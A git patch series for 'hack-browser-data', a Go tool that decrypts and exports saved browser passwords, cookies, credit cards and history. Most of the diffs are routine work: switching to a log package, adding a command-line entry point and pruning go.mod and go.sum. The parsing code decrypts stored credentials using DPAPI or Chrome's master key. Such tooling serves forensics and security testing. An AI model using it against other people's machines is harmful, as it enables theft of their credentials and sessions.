if masterKey == nil {
value, err = decrypter.DPApi(encryptValue)
- if err != nil {
- fmt.Println(err)
- }
} else {
value, err = decrypter.ChromePass(masterKey, encryptValue)
- if err != nil {
- fmt.Println(err)
- }
}
+ log.Error(err)
}
cookie.Value = string(value)
*c = append(*c, cookie)
@@ -98,7 +94,7 @@ func (f *FirefoxCookie) Parse(masterKey []byte) error {
creationTime, expiry int64
)
if err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHttpOnly); err != nil {
- fmt.Println(err)
+ log.Warn(err)
}
*f = append(*f, cookie{
KeyName: name,
diff --git a/internal/browingdata/creditcard.go b/internal/browingdata/creditcard.go
index 4c0c9b8..bd89c8d 100644
--- a/internal/browingdata/creditcard.go
+++ b/internal/browingdata/creditcard.go
@@ -2,13 +2,13 @@ package browingdata
import (
"database/sql"
- "fmt"
"os"
_ "github.com/mattn/go-sqlite3"
"hack-browser-data/internal/decrypter"
"hack-browser-data/internal/item"
+ "hack-browser-data/internal/log"
)
type ChromiumCreditCard []card
@@ -31,7 +31,7 @@ func (c *ChromiumCreditCard) Parse(masterKey []byte) error {
value, encryptValue []byte
)
if err := rows.Scan(&guid, &name, &month, &year, &encryptValue); err != nil {
- fmt.Println(err)
+ log.Warn(err)
}
creditCardInfo := card{
GUID: guid,
diff --git a/internal/browingdata/download.go b/internal/browingdata/download.go
index 50ab81b..d9294d9 100644
--- a/internal/browingdata/download.go
+++ b/internal/browingdata/download.go
@@ -8,6 +8,7 @@ import (
"strings"
"hack-browser-data/internal/item"
+ "hack-browser-data/internal/log"
"hack-browser-data/internal/utils"
_ "github.com/mattn/go-sqlite3"
@@ -86,7 +87,7 @@ func (f *FirefoxDownload) Parse(masterKey []byte) error {
placeID, dateAdded int64
)
if err = downloadRows.Scan(&placeID, &content, &url, &dateAdded); err != nil {
- fmt.Println(err)
+ log.Warn(err)
}
contentList := strings.Split(content, ",{")
if len(contentList) > 1 {
diff --git a/internal/browingdata/history.go b/internal/browingdata/history.go
index e6f3bb8..e9dfdab 100644
--- a/internal/browingdata/history.go
+++ b/internal/browingdata/history.go
@@ -2,13 +2,13 @@ package browingdata
import (
"database/sql"
- "fmt"
"os"
"sort"
_ "github.com/mattn/go-sqlite3"
"hack-browser-data/internal/item"
+ "hack-browser-data/internal/log"
"hack-browser-data/internal/utils"
)
@@ -34,7 +34,7 @@ func (c *ChromiumHistory) Parse(masterKey []byte) error {
)
// TODO: handle rows error
if err := rows.Scan(&url, &title, &visitCount, &lastVisitTime); err != nil {
- fmt.Println(err)
+ log.Warn(err)
}
data := history{
Url: url,
@@ -85,7 +85,7 @@ func (f *FirefoxHistory) Parse(masterKey []byte) error {
visitCount int
)
if err = historyRows.Scan(&id, &url, &visitDate, &title, &visitCount); err != nil {
- fmt.Println(err)
+ log.Warn(err)
}
*f = append(*f, history{
Title: title,
diff --git a/internal/browingdata/password.go b/internal/browingdata/password.go
index 51bbb45..79b5577 100644
--- a/internal/browingdata/password.go
+++ b/internal/browingdata/password.go
@@ -4,7 +4,6 @@ import (
"bytes"
"database/sql"
"encoding/base64"
- "fmt"
"io/ioutil"
"os"
"sort"
@@ -15,6 +14,7 @@ import (
"hack-browser-data/internal/decrypter"
"hack-browser-data/internal/item"
+ "hack-browser-data/internal/log"
"hack-browser-data/internal/utils"
)
@@ -40,7 +40,7 @@ func (c *ChromiumPassword) Parse(masterKey []byte) error {
create int64
)
if err := rows.Scan(&url, &username, &pwd, &create); err != nil {
- fmt.Println(err)
+ log.Warn(err)
}
login := loginData{
UserName: username,
@@ -48,17 +48,13 @@ func (c *ChromiumPassword) Parse(masterKey []byte) error {
LoginUrl: url,
}
if len(pwd) > 0 {
+ var err error
if masterKey == nil {
password, err = decrypter.DPApi(pwd)
- if err != nil {
- fmt.Println(err)
- }
} else {
password, err = decrypter.ChromePass(masterKey, pwd)
- if err != nil {
- fmt.Println(err)
- }
}
+ log.Error(err)
}
if create > time.Now().Unix() {
login.CreateDate = utils.TimeEpochFormat(create)
From 1d3b7bd214d0d2e9c60568282fbf64f860d4378c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Tue, 12 Apr 2022 13:48:03 +0800
Subject: [PATCH 21/33] feat: add command line and log
---
cmd/hack-browser-data/main.go | 144 ++++++++++++++++++++++++++++++++++
internal/log/log.go | 8 ++
2 files changed, 152 insertions(+)
create mode 100644 cmd/hack-browser-data/main.go
diff --git a/cmd/hack-browser-data/main.go b/cmd/hack-browser-data/main.go
new file mode 100644
index 0000000..0024368
--- /dev/null
+++ b/cmd/hack-browser-data/main.go
@@ -0,0 +1,144 @@
+package main
+
+import (
+ "fmt"
+ "os"
+
+ "hack-browser-data/internal/browser"
+ "hack-browser-data/internal/log"
+ "hack-browser-data/internal/outputter"
+)
+
+var (
+ browserName string
+ exportDir string
+ outputFormat string
+ verbose bool
+ compress bool
+ customProfilePath string
+)
+
+func main() {
+ Execute()
+}
+
+func Execute() {
+ browsers := browser.PickBrowser("firefox")
+ log.InitLog("debug")
+ filetype := "json"
+ dir := "results"
+ // dir := "result"
+ output := outputter.New(filetype)
+ var file *os.File
+ fmt.Println("browser number:", len(browsers))
+ for _, b := range browsers {
+ browsingData, err := b.GetBrowsingData()
+ if err != nil {
+ panic(err)
+ }
+ for _, source := range browsingData.Sources {
+ filename := fmt.Sprintf("%s_%s.%s", b.Name(), source.Name(), filetype)
+ file, err = output.CreateFile(dir, filename)
+ err = output.Write(source, file)
+ if err != nil {
+ log.Error(err)
+ }
+ }
+ }
+}
+
+// func Execute() {
+// app := &cli.App{
+// Name: "hack-browser-data",
+// Usage: "Export passwords/cookies/history/bookmarks from browser",
+// UsageText: "[hack-browser-data -b chrome -f json -dir results -cc]\n Get all browingdata(password/cookie/history/bookmark) from chrome",
+// Version: "0.3.7",
+// Flags: []cli.Flag{
+// &cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "verbose"},
+// &cli.BoolFlag{Name: "compress", Aliases: []string{"cc"}, Destination: &compress, Value: false, Usage: "compress result to zip"},
+// &cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browserName, Value: "all", Usage: "available browsers: all|" + strings.Join(core.ListBrowser(), "|")},
+// &cli.StringFlag{Name: "results-dir", Aliases: []string{"dir"}, Destination: &exportDir, Value: "results", Usage: "export dir"},
+// &cli.StringFlag{Name: "format", Aliases: []string{"f"}, Destination: &outputFormat, Value: "csv", Usage: "format, csv|json|console"},
+// &cli.StringFlag{Name: "profile-dir-path", Aliases: []string{"p"}, Destination: &customProfilePath, Value: "", Usage: "custom profile dir path, get with chrome://version"},
+// },
+// HideHelpCommand: true,
+// Action: func(c *cli.Context) error {
+// var (
+// browsers []core.Browser
+// err error
+// )
+// if verbose {
+// log.InitLog("debug")
+// } else {
+// log.InitLog("error")
+// }
+// if customProfilePath != "" {
+// browsers, err = core.PickCustomBrowser(browserName, customProfilePath, customKeyPath)
+// if err != nil {
+// log.Error(err)
+// }
+// } else {
+// // default select all browsers
+// browsers, err = core.PickBrowser(browserName)
+// if err != nil {
+// log.Error(err)
+// }
+// }
+// err = utils.MakeDir(exportDir)
+// if err != nil {
+// log.Error(err)
+// }
+// for _, browser := range browsers {
+// err := browser.InitSecretKey()
+// if err != nil {
+// log.Error(err)
+// }
+// // default select all items
+// // you can get single item with browser.GetItem(itemName)
+// items, err := browser.GetAllItems()
+// if err != nil {
+// log.Error(err)
+// }
+// name := browser.Name()
+// key := browser.GetSecretKey()
+// for _, item := range items {
+// err := item.CopyDB()
+// if err != nil {
+// log.Error(err)
+// }
+// switch browser.(type) {
+// case *core.Chromium:
+// err := item.ChromeParse(key)
+// if err != nil {
+// log.Error(err)
+// }
+// case *core.Firefox:
+// err := item.FirefoxParse()
+// if err != nil {
+// log.Error(err)
+// }
+// }
+// err = item.Release()
+// if err != nil {
+// log.Error(err)
+// }
+// err = item.OutPut(outputFormat, name, exportDir)
+// if err != nil {
+// log.Error(err)
+// }
+// }
+// }
+// if compress {
+// err = utils.Compress(exportDir)
+// if err != nil {
+// log.Error(err)
+// }
+// }
+// return nil
+// },
+// }
+// err := app.Run(os.Args)
+// if err != nil {
+// log.Error(err)
+// }
+// }
diff --git a/internal/log/log.go b/internal/log/log.go
index 6b6c916..c03e23a 100644
--- a/internal/log/log.go
+++ b/internal/log/log.go
@@ -97,3 +97,11 @@ func Warnf(format string, v ...interface{}) {
func Debugf(format string, v ...interface{}) {
formatLogger.doLogf(LevelDebug, format, v...)
}
+
+// NewSugaredLogger(os.Stdout, DebugLevel).Configure(func(sl *SugaredLogger) {
+// sl.SetName("stdLogger")
+// sl.ReportCaller = true
+// // auto enable console color
+// sl.Formatter.(*TextFormatter).EnableColor = color.SupportColor()
+// sl.Formatter.SetCallerSkip(1)
+// })
From 62b8ebd387d3e961c121802e490ce184f834cc63 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Tue, 12 Apr 2022 13:48:28 +0800
Subject: [PATCH 22/33] chore: update go mod and git ignore
---
.gitignore | 1 -
go.mod | 18 +-
go.sum | 1419 ----------------------------------------------------
3 files changed, 2 insertions(+), 1436 deletions(-)
diff --git a/.gitignore b/.gitignore
index 403d41a..2000470 100644
--- a/.gitignore
+++ b/.gitignore
@@ -178,7 +178,6 @@ config.toml
Bookmarks
Login Data
Cookies
-hack-browser-data
History
*.db
*.sqlite
diff --git a/go.mod b/go.mod
index bde517a..d92d8eb 100644
--- a/go.mod
+++ b/go.mod
@@ -6,29 +6,15 @@ require (
github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9
github.com/json-iterator/go v1.1.12
github.com/mattn/go-sqlite3 v1.14.9
- github.com/smallstep/cli v0.18.2
github.com/tidwall/gjson v1.9.3
- github.com/urfave/cli/v2 v2.2.0
golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3
)
require (
- github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e // indirect
- github.com/cpuguy83/go-md2man/v2 v2.0.0 // indirect
- github.com/manifoldco/promptui v0.9.0 // indirect
- github.com/mattn/go-colorable v0.1.8 // indirect
- github.com/mattn/go-isatty v0.0.13 // indirect
- github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d // indirect
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
github.com/modern-go/reflect2 v1.0.2 // indirect
- github.com/pkg/errors v0.9.1 // indirect
- github.com/russross/blackfriday/v2 v2.0.1 // indirect
- github.com/shurcooL/sanitized_anchor_name v1.0.0 // indirect
+ github.com/stretchr/testify v1.7.0 // indirect
github.com/tidwall/match v1.1.1 // indirect
github.com/tidwall/pretty v1.2.0 // indirect
- github.com/urfave/cli v1.22.5 // indirect
- go.step.sm/cli-utils v0.7.2 // indirect
- go.step.sm/crypto v0.15.0 // indirect
- golang.org/x/net v0.0.0-20220114011407-0dd24b26b47d // indirect
- golang.org/x/sys v0.0.0-20220114195835-da31bd327af9 // indirect
+ gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b // indirect
)
diff --git a/go.sum b/go.sum
index d9329af..5dea933 100644
--- a/go.sum
+++ b/go.sum
@@ -1,1452 +1,33 @@
-bazil.org/fuse v0.0.0-20180421153158-65cc252bf669/go.mod h1:Xbm+BRKSBEpa4q4hTSxohYNQpsxXPbPry4JJWOB3LB8=
-bitbucket.org/creachadair/shell v0.0.6/go.mod h1:8Qqi/cYk7vPnsOePHroKXDJYmb5x7ENhtiFtfZq8K+M=
-cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
-cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
-cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU=
-cloud.google.com/go v0.39.0/go.mod h1:rVLT6fkc8chs9sfPtFc1SBH6em7n+ZoXaG+87tDISts=
-cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU=
-cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=
-cloud.google.com/go v0.44.3/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=
-cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc=
-cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0=
-cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To=
-cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4=
-cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M=
-cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc=
-cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk=
-cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs=
-cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc=
-cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY=
-cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI=
-cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk=
-cloud.google.com/go v0.75.0/go.mod h1:VGuuCn7PG0dwsd5XPVm2Mm3wlh3EL55/79EKB6hlPTY=
-cloud.google.com/go v0.78.0/go.mod h1:QjdrLG0uq+YwhjoVOLsS1t7TW8fs36kLs4XO5R5ECHg=
-cloud.google.com/go v0.79.0/go.mod h1:3bzgcEeQlzbuEAYu4mrWhKqWjmpprinYgKJLgKHnbb8=
-cloud.google.com/go v0.81.0/go.mod h1:mk/AM35KwGk/Nm2YSeZbxXdrNK3KZOYHmLkOqC2V6E0=
-cloud.google.com/go v0.83.0/go.mod h1:Z7MJUsANfY0pYPdw0lbnivPx4/vhy/e2FEkSkF7vAVY=
-cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o=
-cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE=
-cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc=
-cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg=
-cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc=
-cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ=
-cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=
-cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk=
-cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk=
-cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=
-cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw=
-cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA=
-cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU=
-cloud.google.com/go/spanner v1.17.0/go.mod h1:+17t2ixFwRG4lWRwE+5kipDR9Ef07Jkmc8z0IbMDKUs=
-cloud.google.com/go/spanner v1.18.0/go.mod h1:LvAjUXPeJRGNuGpikMULjhLj/t9cRvdc+fxRoLiugXA=
-cloud.google.com/go/spanner v1.20.0/go.mod h1:ajR/W06cMHQu7nqQ4irRGplPNoWgejGJlEhlB8xBTKk=
-cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw=
-cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos=
-cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk=
-cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs=
-cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0=
-code.gitea.io/sdk/gitea v0.11.3/go.mod h1:z3uwDV/b9Ls47NGukYM9XhnHtqPh/J+t40lsUrR6JDY=
-contrib.go.opencensus.io/exporter/aws v0.0.0-20181029163544-2befc13012d0/go.mod h1:uu1P0UCM/6RbsMrgPa98ll8ZcHM858i/AD06a9aLRCA=
-contrib.go.opencensus.io/exporter/ocagent v0.5.0/go.mod h1:ImxhfLRpxoYiSq891pBrLVhN+qmP8BTVvdH2YLs7Gl0=
-contrib.go.opencensus.io/exporter/stackdriver v0.12.1/go.mod h1:iwB6wGarfphGGe/e5CWqyUk/cLzKnWsOKPVW3no6OTw=
-contrib.go.opencensus.io/exporter/stackdriver v0.13.5/go.mod h1:aXENhDJ1Y4lIg4EUaVTwzvYETVNZk10Pu26tevFKLUc=
-contrib.go.opencensus.io/exporter/stackdriver v0.13.7/go.mod h1:huNtlWx75MwO7qMs0KrMxPZXzNNWebav1Sq/pm02JdQ=
-contrib.go.opencensus.io/integrations/ocsql v0.1.4/go.mod h1:8DsSdjz3F+APR+0z0WkU1aRorQCFfRxvqjUUPMbF3fE=
-contrib.go.opencensus.io/resource v0.1.1/go.mod h1:F361eGI91LCmW1I/Saf+rX0+OFcigGlFvXwEGEnkRLA=
-dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=
-filippo.io/edwards25519 v1.0.0-rc.1/go.mod h1:N1IkdkCkiLB6tki+MYJoSx2JTY9NUlxZE7eHn5EwJns=
-github.com/AndreasBriese/bbloom v0.0.0-20190825152654-46b345b51c96/go.mod h1:bOvUY6CB00SOBii9/FifXqc0awNKxLFCL/+pkDPuyl8=
-github.com/Azure/azure-amqp-common-go/v2 v2.1.0/go.mod h1:R8rea+gJRuJR6QxTir/XuEd+YuKoUiazDC/N96FiDEU=
-github.com/Azure/azure-pipeline-go v0.2.1/go.mod h1:UGSo8XybXnIGZ3epmeBw7Jdz+HiUVpqIlpz/HKHylF4=
-github.com/Azure/azure-sdk-for-go v29.0.0+incompatible/go.mod h1:9XXNKU+eRnpl9moKnB4QOLf1HestfXbmab5FXxiDBjc=
-github.com/Azure/azure-sdk-for-go v30.1.0+incompatible/go.mod h1:9XXNKU+eRnpl9moKnB4QOLf1HestfXbmab5FXxiDBjc=
-github.com/Azure/azure-sdk-for-go v58.0.0+incompatible/go.mod h1:9XXNKU+eRnpl9moKnB4QOLf1HestfXbmab5FXxiDBjc=
-github.com/Azure/azure-service-bus-go v0.9.1/go.mod h1:yzBx6/BUGfjfeqbRZny9AQIbIe3AcV9WZbAdpkoXOa0=
-github.com/Azure/azure-storage-blob-go v0.8.0/go.mod h1:lPI3aLPpuLTeUwh1sViKXFxwl2B6teiRqI0deQUvsw0=
-github.com/Azure/go-autorest v12.0.0+incompatible/go.mod h1:r+4oMnoxhatjLLJ6zxSWATqVooLgysK6ZNox3g/xq24=
-github.com/Azure/go-autorest v14.2.0+incompatible/go.mod h1:r+4oMnoxhatjLLJ6zxSWATqVooLgysK6ZNox3g/xq24=
-github.com/Azure/go-autorest/autorest v0.11.17/go.mod h1:eipySxLmqSyC5s5k1CLupqet0PSENBEDP93LQ9a8QYw=
-github.com/Azure/go-autorest/autorest/adal v0.9.5/go.mod h1:B7KF7jKIeC9Mct5spmyCB/A8CG/sEz1vwIRGv/bbw7A=
-github.com/Azure/go-autorest/autorest/adal v0.9.11/go.mod h1:nBKAnTomx8gDtl+3ZCJv2v0KACFHWTB2drffI1B68Pk=
-github.com/Azure/go-autorest/autorest/azure/auth v0.5.8/go.mod h1:kxyKZTSfKh8OVFWPAgOgQ/frrJgeYQJPyR5fLFmXko4=
-github.com/Azure/go-autorest/autorest/azure/cli v0.4.2/go.mod h1:7qkJkT+j6b+hIpzMOwPChJhTqS8VbsqqgULzMNRugoM=
-github.com/Azure/go-autorest/autorest/date v0.3.0/go.mod h1:BI0uouVdmngYNUzGWeSYnokU+TrmwEsOqdt8Y6sso74=
-github.com/Azure/go-autorest/autorest/mocks v0.4.1/go.mod h1:LTp+uSrOhSkaKrUy935gNZuuIPPVsHlr9DSOxSayd+k=
-github.com/Azure/go-autorest/autorest/to v0.4.0/go.mod h1:fE8iZBn7LQR7zH/9XU2NcPR4o9jEImooCeWJcYV/zLE=
-github.com/Azure/go-autorest/autorest/validation v0.3.1/go.mod h1:yhLgjC0Wda5DYXl6JAsWyUe4KVNffhoDhG0zVzUMo3E=
-github.com/Azure/go-autorest/logger v0.2.0/go.mod h1:T9E3cAhj2VqvPOtCYAvby9aBXkZmbF5NWuPV8+WeEW8=
-github.com/Azure/go-autorest/tracing v0.6.0/go.mod h1:+vhtPC754Xsa23ID7GlGsrdKBpUA79WCAKPPZVC2DeU=
-github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
-github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
-github.com/GoogleCloudPlatform/cloudsql-proxy v0.0.0-20191009163259-e802c2cb94ae/go.mod h1:mjwGPas4yKduTyubHvD1Atl9r1rUq8DfVy+gkVvZ+oo=
-github.com/Knetic/govaluate v3.0.1-0.20171022003610-9aa49832a739+incompatible/go.mod h1:r7JcOSlj0wfOMncg0iLm8Leh48TZaKVeNIfJntJ2wa0=
-github.com/Masterminds/glide v0.13.2/go.mod h1:STyF5vcenH/rUqTEv+/hBXlSTo7KYwg2oc2f4tzPWic=
-github.com/Masterminds/goutils v1.1.0/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy863GQaJW2MFNU=
-github.com/Masterminds/goutils v1.1.1/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy863GQaJW2MFNU=
-github.com/Masterminds/semver v1.4.2/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y=
-github.com/Masterminds/semver v1.5.0/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y=
-github.com/Masterminds/semver/v3 v3.0.3/go.mod h1:VPu/7SZ7ePZ3QOrcuXROw5FAcLl4a0cBrbBpGY/8hQs=
-github.com/Masterminds/semver/v3 v3.1.0/go.mod h1:VPu/7SZ7ePZ3QOrcuXROw5FAcLl4a0cBrbBpGY/8hQs=
-github.com/Masterminds/semver/v3 v3.1.1/go.mod h1:VPu/7SZ7ePZ3QOrcuXROw5FAcLl4a0cBrbBpGY/8hQs=
-github.com/Masterminds/sprig v2.15.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o=
-github.com/Masterminds/sprig v2.22.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o=
-github.com/Masterminds/sprig/v3 v3.1.0/go.mod h1:ONGMf7UfYGAbMXCZmQLy8x3lCDIPrEZE/rU8pmrbihA=
-github.com/Masterminds/sprig/v3 v3.2.2/go.mod h1:UoaO7Yp8KlPnJIYWTFkMaqPUYKTfGFPhxNuwnnxkKlk=
-github.com/Masterminds/vcs v1.13.0/go.mod h1:N09YCmOQr6RLxC6UNHzuVwAdodYbbnycGHSmwVJjcKA=
-github.com/Microsoft/go-winio v0.4.14/go.mod h1:qXqCSQ3Xa7+6tgxaGTIe4Kpcdsi+P8jBhyzoq1bpyYA=
-github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=
-github.com/Shopify/sarama v1.19.0/go.mod h1:FVkBWblsNy7DGZRfXLU0O9RCGt5g3g3yEuWXgklEdEo=
-github.com/Shopify/toxiproxy v2.1.4+incompatible/go.mod h1:OXgGpZ6Cli1/URJOF1DMxUHB2q5Ap20/P/eIdh4G0pI=
-github.com/ThalesIgnite/crypto11 v1.2.4/go.mod h1:ILDKtnCKiQ7zRoNxcp36Y1ZR8LBPmR2E23+wTQe/MlE=
-github.com/ThomasRooney/gexpect v0.0.0-20161231170123-5482f0350944/go.mod h1:sPML5WwI6oxLRLPuuqbtoOKhtmpVDCYtwsps+I+vjIY=
-github.com/VividCortex/gohistogram v1.0.0/go.mod h1:Pf5mBqqDxYaXu3hDrrU+w6nw50o/4+TcAqDqk/vUH7g=
-github.com/afex/hystrix-go v0.0.0-20180502004556-fa1af6a1f4f5/go.mod h1:SkGFH1ia65gfNATL8TAiHDNxPzPdmEL5uirI2Uyuz6c=
-github.com/alcortesm/tgz v0.0.0-20161220082320-9c5fe88206d7/go.mod h1:6zEj6s6u/ghQa61ZWa/C2Aw3RkjiTBOix7dkqa1VLIs=
-github.com/alecthomas/kingpin v2.2.6+incompatible/go.mod h1:59OFYbFVLKQKq+mqrL6Rw5bR0c3ACQaawgXx0QYndlE=
-github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
-github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
-github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
-github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
-github.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho=
-github.com/anmitsu/go-shlex v0.0.0-20161002113705-648efa622239/go.mod h1:2FmKhYUyUczH0OGQWaF5ceTx0UBShxjsH6f8oGKYe2c=
-github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be/go.mod h1:ySMOLuWl6zY27l47sB3qLNK6tF2fkHG55UZxx8oIVo4=
-github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY=
-github.com/aokoli/goutils v1.0.1/go.mod h1:SijmP0QR8LtwsmDs8Yii5Z/S4trXFGFC2oO5g9DP+DQ=
-github.com/apache/beam v2.28.0+incompatible/go.mod h1:/8NX3Qi8vGstDLLaeaU7+lzVEu/ACaQhYjeefzQ0y1o=
-github.com/apache/beam v2.30.0+incompatible/go.mod h1:/8NX3Qi8vGstDLLaeaU7+lzVEu/ACaQhYjeefzQ0y1o=
-github.com/apache/thrift v0.12.0/go.mod h1:cp2SuWMxlEZw2r+iP2GNCdIi4C1qmUzdZFSVb+bacwQ=
-github.com/apache/thrift v0.13.0/go.mod h1:cp2SuWMxlEZw2r+iP2GNCdIi4C1qmUzdZFSVb+bacwQ=
-github.com/apex/log v1.1.4/go.mod h1:AlpoD9aScyQfJDVHmLMEcx4oU6LqzkWp4Mg9GdAcEvQ=
-github.com/apex/logs v0.0.4/go.mod h1:XzxuLZ5myVHDy9SAmYpamKKRNApGj54PfYLcFrXqDwo=
-github.com/aphistic/golf v0.0.0-20180712155816-02c07f170c5a/go.mod h1:3NqKYiepwy8kCu4PNA+aP7WUV72eXWJeP9/r3/K9aLE=
-github.com/aphistic/sweet v0.2.0/go.mod h1:fWDlIh/isSE9n6EPsRmC0det+whmX6dJid3stzu0Xys=
-github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o=
-github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8=
